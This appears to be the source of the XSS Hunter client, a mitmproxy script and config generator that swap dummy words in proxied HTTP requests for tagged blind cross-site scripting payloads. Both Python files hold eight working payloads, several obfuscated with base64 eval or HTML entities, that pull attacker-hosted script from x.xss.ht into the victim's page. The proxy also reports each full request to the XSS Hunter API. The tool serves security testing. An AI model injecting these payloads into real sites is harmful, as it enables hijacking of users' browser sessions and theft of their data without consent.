├── .gitignore
├── requirements.txt
├── README.md
├── generate_config.py
└── mitm_xsshunter.py


/.gitignore:
--------------------------------------------------------------------------------
 1 | *~
 2 | .*.sw?
 3 | *.pyc
 4 | *.pyo
 5 | .cache
 6 | .DS_Store
 7 | *.diff
 8 | *.patch
 9 | *.idea
10 | *.egg-info
11 | .eggs
12 | .coverage
13 | /build
14 | /dist
15 | /dev_packages
16 | /env
17 | 


--------------------------------------------------------------------------------
/requirements.txt:
--------------------------------------------------------------------------------
 1 | argh==0.26.1
 2 | backports-abc==0.4
 3 | backports.ssl-match-hostname==3.5.0.1
 4 | blinker==1.4
 5 | certifi==2016.2.28
 6 | cffi==1.5.2
 7 | click==6.2
 8 | ConfigArgParse==0.10.0
 9 | construct==2.5.2
10 | cryptography==1.1.2
11 | enum34==1.1.2
12 | futures==3.0.5
13 | hpack==2.0.1
14 | html2text==2015.11.4
15 | idna==2.0
16 | ipaddress==1.0.16
17 | lxml==3.4.4
18 | mitmproxy==0.15
19 | ndg-httpsclient==0.4.0
20 | netlib==0.15.1
21 | passlib==1.6.5
22 | pathtools==0.1.2
23 | Pillow==3.0.0
24 | pyasn1==0.1.9
25 | pycparser==2.14
26 | pyOpenSSL==0.15.1
27 | pyparsing==2.0.7
28 | pyperclip==1.5.26
29 | PyYAML==3.11
30 | requests==2.9.1
31 | requests-futures==0.9.7
32 | singledispatch==3.4.0.3
33 | six==1.10.0
34 | tornado==4.3
35 | urwid==1.3.1
36 | watchdog==0.8.3
37 | wheel==0.24.0
38 | 


--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
 1 | # XSS Hunter Client
 2 | 
 3 | ## What is the this tool for?
 4 | This tool can be used to generate correlated XSS payloads, these payloads are tagged with a unique ID which can be used to track which HTTP request caused which XSS payload to fire. By using this tool all of your injection attempts are tracked and the reports you generate will have the responsible injection attempt included in the final output. This is useful since XSS payloads can often traverse multiple services (and even protocols) before firing, so it's not always clear what injection caused a certain XSS payload to fire.
 5 | 
 6 | ## Setup
 7 | 1. Create an XSS Hunter account at https://xsshunter.com/
 8 | 2. Create a new virtual environment by running `virtualenv env`
 9 | 3. Source the newly created enviroment by running `source env/bin/activate`
10 | 4. Install the required libraries by running `pip install -r requirements.txt`
11 | 5. Run the config generation tool `./generate_config.py` and follow the steps mentioned.
12 | 6. Now run mitmproxy with this client as an inline script: `mitmproxy -s mitm_xsshunter.py -p 1234`
13 | 7. Proxy your browser through this new tool, keep in mind that you may have to [install the mitmproxy certificate authority](http://docs.mitmproxy.org/en/stable/certinstall.html) if you have not done so already.
14 | 
15 | ## Using the XSS Hunter Client
16 | Using the client is simple, during the config generation you will set a list of *dummy words*, these are special strings which will be replaced upon being seen by the proxy tool. For example, one rule could have the dummy word be `https://example.com` with the `javascript:` URI payload selected. Once the proxy sees `https://example.com` in the request it will automatically replace it with the `javascript:` URI payload. It is **very important** that you choose a unique dummy word that is unlikely to appear regularly in the request, else you risk scattering your payloads where you don't want them.
17 | 


--------------------------------------------------------------------------------
/generate_config.py:
--------------------------------------------------------------------------------
 1 | #!/usr/bin/env python
 2 | import yaml
 3 | import os
 4 | 
 5 | def get_payload_id_from_number( number ):
 6 |     if number == 1:
 7 |         return "generic_script_tag_payload"
 8 |     elif number == 2:
 9 |         return "javascript_uri_payload"
10 |     elif number == 3:
11 |         return "input_tag_payload"
12 |     elif number == 4:
13 |         return "image_tag_payload"
14 |     elif number == 5:
15 |         return "source_tag_payload"
16 |     elif number == 6:
17 |         return "srcdoc_tag_payload"
18 |     elif number == 7:
19 |         return "xhr_payload"
20 |     elif number == 8:
21 |         return "getscript_payload"
22 |     else:
23 |         return 1
24 | 
25 | print( """
26 | Welcome to the XSS Hunter client config generation tool!
27 | 
28 | ** How Does It Work? **
29 | The XSS Hunter clients works by replacing pre-specified "dummy words" with XSS correlation payloads.
30 | 
31 | Each payload is generated with a unique ID like the following:
32 | https://x.xss.ht/ljsdhu6f84
33 | 
34 | Upon the above "tagged" payload firing, the full HTTP request that caused the injection will also be included in the report.
35 | This allows for much better reporting since you have the full details to reproduce the vulnerability.
36 | 
37 | ==================
38 | """ )
39 | 
40 | keep_going = True
41 | settings = {}
42 | settings["xss_probe_settings"] = {}
43 | while keep_going:
44 |     dummy_word = raw_input( "Dummy word: " )
45 |     print(
46 |     """
47 | Please choose the payload type you'd like to use for this dummy word:
48 | 1) "><script src=https://x.xss.ht></script>
49 | 2) javascript:eval('var a=document.createElement(\'script\');a.src=\'https://x.xss.ht\';document.body.appendChild(a)')
50 | 3) "><input onfocus=eval(atob(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veC54c3MuaHQiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7 autofocus>
51 | 4) "><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veC54c3MuaHQiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7 onerror=eval(atob(this.id))>
52 | 5) "><video><source onerror=eval(atob(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veC54c3MuaHQiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7>
53 | 6) "><iframe srcdoc="&#60;&#115;&#99;..">
54 | 7) <script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//x.xss.ht");a.send();</script>
55 | 8) <script>$.getScript("//x.xss.ht")</script>
56 | 
57 |     """
58 |     )
59 |     payload_number = raw_input( "Payload #: ")
60 |     settings["xss_probe_settings"][ dummy_word ] = get_payload_id_from_number( int( payload_number ) )
61 |     keep_going_word = raw_input( "Add another rule? (y/n): ")
62 |     keep_going = ( keep_going_word.lower() == "y" or keep_going_word.lower() == "yes" )
63 | 
64 | domain = raw_input( "What is your XSS Hunter domain? (eg: x.xss.ht): " )
65 | settings["domain"] = domain
66 | owner_correlation_key = raw_input( "Your XSS Hunter injection correlation key?: (found under settings menu): " )
67 | settings["owner_correlation_key"] = owner_correlation_key
68 | 
69 | with open( "config.yaml", "w" ) as yaml_handler:
70 |     yaml_handler.write( yaml.dump( settings ) )
71 | 
72 | print( "Settings file saved successfully!" )
73 | 


--------------------------------------------------------------------------------
/mitm_xsshunter.py:
--------------------------------------------------------------------------------
  1 | #!/usr/bin/env python
  2 | from __future__ import unicode_literals, print_function, division
  3 | import urllib
  4 | import yaml
  5 | import random
  6 | import string
  7 | import base64
  8 | 
  9 | def debugit( text ):
 10 |     f = open( 'log.txt', 'a')
 11 |     f.write( text + "\n" )
 12 |     f.close()
 13 | 
 14 | try:
 15 |     from html import escape as html_escape # python 3.x
 16 | except ImportError:
 17 |     from cgi import escape as html_escape # python 2.x
 18 | 
 19 | from requests_futures.sessions import FuturesSession
 20 | 
 21 | try:
 22 |     with open('config.yaml', 'r') as f:
 23 |         settings = yaml.load(f)
 24 | except IOError:
 25 |     print("Error reading config.yaml, have you created one? (Hint: Try "
 26 |             "running ./generate_config.py)")
 27 |     exit()
 28 | 
 29 | futures_sess = FuturesSession()
 30 | 
 31 | def payload_id_to_payload( payload_id, payload_token ):
 32 |     js_attrib_js = 'var a=document.createElement("script");a.src="https://' + settings["domain"] + '/' + payload_token + '";document.body.appendChild(a);'
 33 | 
 34 |     if payload_id == "generic_script_tag_payload":
 35 |         return "\"><script src=https://" + settings["domain"] + '/' + payload_token + "></script>"
 36 |     elif payload_id == "image_tag_payload":
 37 |         return "\"><img src=x id=" + html_escape( base64.b64encode( js_attrib_js ) ) + " onerror=eval(atob(this.id))>";
 38 |     elif payload_id == "javascript_uri_payload":
 39 |         return "javascript:eval('var a=document.createElement(\\'script\\');a.src=\\'https://" + settings["domain"] + '/' + payload_token + "\\';document.body.appendChild(a)')";
 40 |     elif payload_id == "input_tag_payload":
 41 |         return "\"><input onfocus=eval(atob(this.id)) id=" + html_escape( base64.b64encode( js_attrib_js ) ) + " autofocus>";
 42 |     elif payload_id == "source_tag_payload":
 43 |         return "\"><video><source onerror=eval(atob(this.id)) id=" + html_escape( base64.b64encode( js_attrib_js ) ) + ">";
 44 |     elif payload_id == "srcdoc_tag_payload":
 45 |         return "\"><iframe srcdoc=\"&#60;&#115;&#99;&#114;&#105;&#112;&#116;&#62;&#118;&#97;&#114;&#32;&#97;&#61;&#112;&#97;&#114;&#101;&#110;&#116;&#46;&#100;&#111;&#99;&#117;&#109;&#101;&#110;&#116;&#46;&#99;&#114;&#101;&#97;&#116;&#101;&#69;&#108;&#101;&#109;&#101;&#110;&#116;&#40;&#34;&#115;&#99;&#114;&#105;&#112;&#116;&#34;&#41;&#59;&#97;&#46;&#115;&#114;&#99;&#61;&#34;&#104;&#116;&#116;&#112;&#115;&#58;&#47;&#47;" + settings["domain"] + '/' + payload_token + "&#34;&#59;&#112;&#97;&#114;&#101;&#110;&#116;&#46;&#100;&#111;&#99;&#117;&#109;&#101;&#110;&#116;&#46;&#98;&#111;&#100;&#121;&#46;&#97;&#112;&#112;&#101;&#110;&#100;&#67;&#104;&#105;&#108;&#100;&#40;&#97;&#41;&#59;&#60;&#47;&#115;&#99;&#114;&#105;&#112;&#116;&#62;\">";
 46 |     elif payload_id == "xhr_payload":
 47 |         return '<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//' + settings["domain"] + '/' + payload_token + '");a.send();</script>'
 48 |     elif payload_id == "getscript_payload":
 49 |         return '<script>$.getScript("//' + settings["domain"] + '/' + payload_token + '")</script>'
 50 |     else:
 51 |         return "\"><script src=https://" + settings["domain"] + '/' + payload_token + "></script>"
 52 | 
 53 | def request( context, flow ):
 54 |     probe_ids = []
 55 | 
 56 |     # Replace all instances in HTTP path with probe markers
 57 |     req_path, path_probe_ids = replace_with_probe_markers(
 58 |             flow.request.path,
 59 |             context,
 60 |             [],
 61 |             True,
 62 |     )
 63 |     flow.request.path = req_path
 64 |     probe_ids += path_probe_ids
 65 | 
 66 |     # Replace all instances in HTTP body with probe markers
 67 |     req_body, body_probe_ids = replace_with_probe_markers(
 68 |             flow.request.content,
 69 |             context,
 70 |             [],
 71 |             True,
 72 |     )
 73 |     flow.request.content = req_body
 74 |     probe_ids += body_probe_ids
 75 | 
 76 |     # Replace all instance in HTTP headers with probe markers
 77 |     for header_key, header_value in flow.request.headers.iteritems():
 78 |         new_header_key, header_key_probe_ids = replace_with_probe_markers(
 79 |                 header_key,
 80 |                 context,
 81 |                 [],
 82 |                 False,
 83 |         )
 84 |         probe_ids += header_key_probe_ids
 85 |         flow.request.headers[ bytes( new_header_key ) ] = bytes( flow.request.headers[ header_key ] )
 86 |         if len( header_key_probe_ids ) > 0:
 87 |             del flow.request.headers[ bytes( header_key ) ]
 88 | 
 89 |         new_header_value, header_value_probe_ids = replace_with_probe_markers(
 90 |                 header_value,
 91 |                 context,
 92 |                 [],
 93 |                 False,
 94 |         )
 95 |         probe_ids += header_value_probe_ids
 96 |         flow.request.headers[ bytes( header_key ) ] = bytes( new_header_value )
 97 | 
 98 |     flow.request.headers[bytes( "Content-Length" )] = bytes( str( len( flow.request.content ) ) ) # Bullshit to patch mitmproxy's lack of auto Content-Type updating
 99 | 
100 |     for probe_id in probe_ids:
101 |         notify_probe_server({
102 |             "request": get_full_http_request_text( flow.request ),
103 |             "owner_correlation_key": settings["owner_correlation_key"],
104 |             "injection_key": probe_id
105 |         }, context)
106 | 
107 | def get_full_http_request_text(req):
108 |     http_request_text = req.method + " " + req.path + " HTTP/1.1\r\n"
109 |     for header_pair in req.headers.fields:
110 |         http_request_text += header_pair[0] + ": " + header_pair[1] + "\r\n"
111 |     http_request_text += "\r\n"
112 |     http_request_text += req.body
113 |     return http_request_text
114 | 
115 | def replace_with_probe_markers(input_text, context, probe_marker_list, urlencoded):
116 |     # Iterate through all dummy words to see if we have a replacement to make
117 |     for keyword, payload_id in settings["xss_probe_settings"].iteritems():
118 |         # Does this keyword exist in our text
119 |         if input_text and keyword in input_text:
120 |             payload_token = get_random_id(10)
121 |             payload = payload_id_to_payload( payload_id, payload_token )
122 | 
123 |             # URL encode if requested by caller
124 |             if urlencoded:
125 |                 payload = urllib.quote_plus( payload )
126 | 
127 |             input_text = input_text.replace( keyword, payload, 1)
128 |             probe_marker_list.append( payload_token )
129 |             return replace_with_probe_markers( input_text, context, probe_marker_list, urlencoded )
130 |     return input_text, probe_marker_list
131 | 
132 | 
133 | def notify_probe_server(request_details, context):
134 |     fut = futures_sess.post(
135 |             "https://api.xsshunter.com/api/record_injection",
136 |             headers={"Accept": "application/json"},
137 |             json=request_details,
138 |     )
139 |     fut.add_done_callback(lambda x: probe_sent_cb(x, context))
140 | 
141 | 
142 | def probe_sent_cb(fut, context):
143 |     resp = fut.result()
144 |     #context.log(resp)
145 |     #context.log(resp.text)
146 |     context.log( "Sent injection attempt to XSS Hunter server!")
147 | 
148 | 
149 | def get_random_id(num):
150 |     choices = string.ascii_lowercase + string.digits
151 |     return ''.join(random.choice(choices) for _ in range(num))
152 | 


--------------------------------------------------------------------------------